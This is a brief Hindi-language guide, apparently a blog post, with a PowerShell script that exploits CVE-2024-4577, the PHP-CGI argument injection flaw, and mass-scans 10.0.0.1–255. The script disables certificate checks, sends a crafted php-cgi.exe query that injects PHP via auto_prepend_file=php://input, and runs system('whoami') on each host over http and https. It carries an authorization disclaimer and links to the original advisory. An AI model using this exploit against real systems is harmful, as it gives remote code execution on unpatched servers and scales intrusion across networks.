
CVE-2024-4577 को स्कैन करने के लिए PowsrShell का उपयोग करें
कृपया ध्यान दें:
सुनिश्चित करें कि आपको लक्ष्य वातावरण में इस प्रकार का पेनिट्रेशन परीक्षण करने का अधिकार है, अनधिकृत उपयोग हमले की तकनीक का प्रयोग संबंधित कानूनों का उल्लंघन कर सकता है।
यह प्रोग्राम केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए है, कृपया इसे कानूनी और नैतिक सीमाओं के भीतर उपयोग करें।
यदि आप पेनिट्रेशन परीक्षण के संभावित परिणामों को नहीं समझते हैं, तो परीक्षण के लिए रेड टीम विशेषज्ञों को नियुक्त करने की सलाह दी जाती है।
पहले वेब प्रमाणपत्र जांच को अनदेखा करने के लिए सेट करें
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
मुख्य हमला पेलोड
$url = "${Protocol}://$IP/php-cgi/php-cgi.exe?%add+allow_url_include%3Don+-d+auto_prepend_file%3Dphp%3A//input+-d+cgi.force_redirect%3D0"
$body = "<?php system('whoami'); die(); ?>"
इसे एक फंक्शन में लपेटें और PowerShell के अंतर्निहित Invoke-WebRequest का उपयोग करके भेजें (TimeoutSec सेटिंग को स्वयं समायोजित किया जा सकता है)
function Invoke-RequestForIP {
param (
[string]$IP,
[string]$Protocol
)
$url = "${Protocol}://$IP/php-cgi/php-cgi.exe?%add+allow_url_include%3Don+-d+auto_prepend_file%3Dphp%3A//input+-d+cgi.force_redirect%3D0"
$body = "<?php system('whoami'); die(); ?>"
try {
$response = Invoke-WebRequest -Uri $url -Method Post -Body $body -UseBasicParsing -TimeoutSec 2
return $response.Content
} catch {
return $_.Exception.Message
}
}
लूप के माध्यम से, 10.0.0.1 से 10.0.0.255 तक स्कैन करें
$baseIP = "10.0.0."
$start = 1
$end = 255
for ($i = $start; $i -le $end; $i++) {
$currentIP = $baseIP + $i
foreach ($protocol in @("http", "https")) {
$result = Invoke-RequestForIP -IP $currentIP -Protocol $protocol
Write-Output "IP: $currentIP, Protocol: $protocol, Result: $result"
}
}
https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability
https://nvd.nist.gov/vuln/detail/cve-2024-4577